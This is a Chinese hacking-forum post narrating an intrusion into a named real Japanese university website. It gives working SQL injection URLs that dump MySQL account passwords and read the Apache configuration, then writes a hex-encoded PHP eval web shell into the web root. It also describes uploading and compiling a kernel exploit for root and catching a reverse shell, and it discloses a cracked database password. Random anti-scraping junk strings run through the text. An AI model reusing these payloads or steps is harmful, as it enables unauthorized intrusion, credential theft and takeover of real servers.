找回密码
 立即注册
查看: 3123|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
2 x5 c$ [  p2 U3 |9 f4 z5 W
1 B4 h; G& R6 p; s2 Y8 [9 T  C3 Ahttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
1 n% b- b5 [: I3 J% W4 b2 [然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
7 M7 G' e$ p6 U! ?# x1 f; y1 O) u& B0 r6 E
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user8 P4 [' f0 q, a

% o! c) l% r$ B9 \5 X/ {
! g4 X4 F  W, G+ Y2 |& r! {! x2 }8 R
//@@datadir为数据库文件路径 ) _* m- s+ i' j/ j0 E
7 I7 ^0 O# s3 M
' |! V/ D  W: m, @( R7 b2 l
//load_file读取网站容器apache的配置文件   ^9 i& g0 }6 L/ V. y5 k& Z+ [. X: X
4 d: ~0 p- M1 }0 \

. N5 a' o" H6 a( _% Z! v5 Y//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
5 B! j7 O& N+ o复制代码6 u) ?  @9 m/ J2 L0 a6 N: \
1 r% {8 I5 n0 S% j
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
  n( O$ b% [$ ~) ^2 n- N9 e. m
6 A1 }6 [3 N$ I& G. a7 y# C2 ^而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
3 S' |; e0 N; E! ~1 d% O  k2 @(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
0 x9 Z5 Y7 m  K
1 \/ w4 U1 C2 T9 a- w! T9 m$ N! n前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。# a- Y+ i( S( p: C$ w: ?8 D
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
' C3 w  F5 b3 T/ q( q2 S, X$ }" h  i# {1 x
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/$ _5 ]1 ]+ m# a# g3 R: {2 O
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
5 Y% C( Y+ C# c直接写一句话:' g, _0 @3 ], E, B$ q% i$ K! ^
. ~% ]  y( C+ V/ D$ S' L1 `0 Y
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
# O8 z4 c, ]4 N% w, [4 k  i% k! b+ v
% N( r. F' `' k1 D
1 z  n. f: S- z% B) i: z- [  U/ p" `
//最后的#是为了闭合前面的语句 ) H6 {1 c; {9 X! \8 l

6 c0 T: F4 }2 b6 p+ K: z! p
) ~! A, ]4 u6 A3 n5 D% L7 [0 Z/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 4 o% u! \0 T" t' k
8 {0 j  q& l4 k& B+ Z2 U7 a
" p, t* n6 Q; d3 U
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ ; L( W6 @' y- U5 ]
3 z8 H# P& h$ P! ^
/ c! n& e% ]7 [2 j* w; J, X
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 ; u- v# W9 F0 }. r! }

8 J6 S, ~' _  \
( x, g  \+ ], n0 l( \# P( q//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
9 z8 x" d; E0 V6 X//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
2 y9 ^7 r# q- E复制代码
4 X" A; g9 d1 w
) W! \. h3 D% c& J0 P4 t" ]. g; O. sHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有( x! O6 x6 }. W) S( {- o3 e( p
通过上述注入语句,我们就得到了一句话木马:
8 l* J8 B! G: b8 |$ z7 x
4 {' ]. o) q$ S: V& B
( @# }% J" O3 g5 q( t, ~3 r
, K: ]7 b( D1 m2 ^! A, S - u7 b" x4 F+ R

/ a4 ]* s% o1 V" J  S# ohttp://www.doshisha.ac.jp/english/engnews_img/aa.php
0 V8 h) N- C, t6 Q! n# y; q( Y复制代码
) G& s  D% }  G8 l" `7 v5 Z7 {3 S1 p$ A0 A" b: z
用菜刀连接,密码是cmd,如图所示:
) E1 M4 [( Z1 C* M% T* \. b' {% O* {然后在命令提示行里看了一下,现在的权限是:
5 e, J+ q: D9 U: v8 A, S
) x  D' r% o, y: J/ z* a; t3 [( A# e之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
$ M8 e2 V2 _0 P' l( |* w) G1 W好在赋权给这个文件夹不需要root,直接执行赋权语句:
2 q6 V0 ~1 e+ [4 A5 `  c  b& `" l0 g7 c) }) g7 Z0 A

+ K7 ?+ R, [# z! T8 a/ _6 _- K; E6 }, W" L; S& o

! m. p) U% R9 F9 k& Q" ~% V; j: k# g4 f9 j5 F% l
chmod +x /tmp/ % J7 J' ]" u4 o) S  d3 A
复制代码
1 ^  n2 f& p* f' ]3 K  o: \, @: z) n: I2 [% G
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行  \$ r. t: j" w$ {7 @
然后就查了一下内核版本:1 {) F% r3 W% z+ H
+ ?1 w1 r  V" z! R, {* c

9 ?5 c$ U7 j7 c; _% t9 Y! l
+ H% S0 N3 ~+ X5 z3 E 9 m7 j7 _4 O! M6 s
! p$ t& Z0 u3 \: P/ X2 ~4 C
uname-a
8 [$ W( X) ]$ j; |) [( R: [
, I. b7 X* f$ v2 ^3 B6 m2 G) E8 c1 b/ p9 x# k
//其实lsb_release -a
3 R" _$ h9 l! \1 k, s复制代码
2 w$ p; V1 s4 p. s- V
6 A6 E6 M: u/ i' {& Y. m  L: ^如图所示:
. U" L! W: f2 f, G
# d% [& ?/ a$ l6 e  i' R内核版本:linux mainz1 2.6.28-194.e15
) \" A$ H6 g; e& y- W系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)$ O8 p3 K1 ?( K* b) K
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹* A: b0 c  m, h  q
, y1 w& d& |$ Q, o4 V3 W
然后给予执行权限
7 D: R0 `' v5 w6 S, v8 `一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
. v7 e7 A. }9 c" i0 K( \" w) _; |( T! y4 T
" x2 L7 ^7 f5 H+ j
* S& @- l$ R6 a& O. N7 N
6 t. F% r' C  b
6 T5 R; s0 a3 W1 {: t9 N
chmod +x /tmp/2.6.18-194
8 z8 @7 f" |/ h  Q3 E, L9 w复制代码 然后直接执行!~) C( `7 C+ g* \6 C5 g
$ V7 K( \( e$ f8 f3 \5 S
总结:9 ^. Y6 v) N) v1 p
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了/ ?: g" K+ D: v  F3 p
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root$ w5 f0 F+ E# ?8 @

# ?- l1 X* x' h3 M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表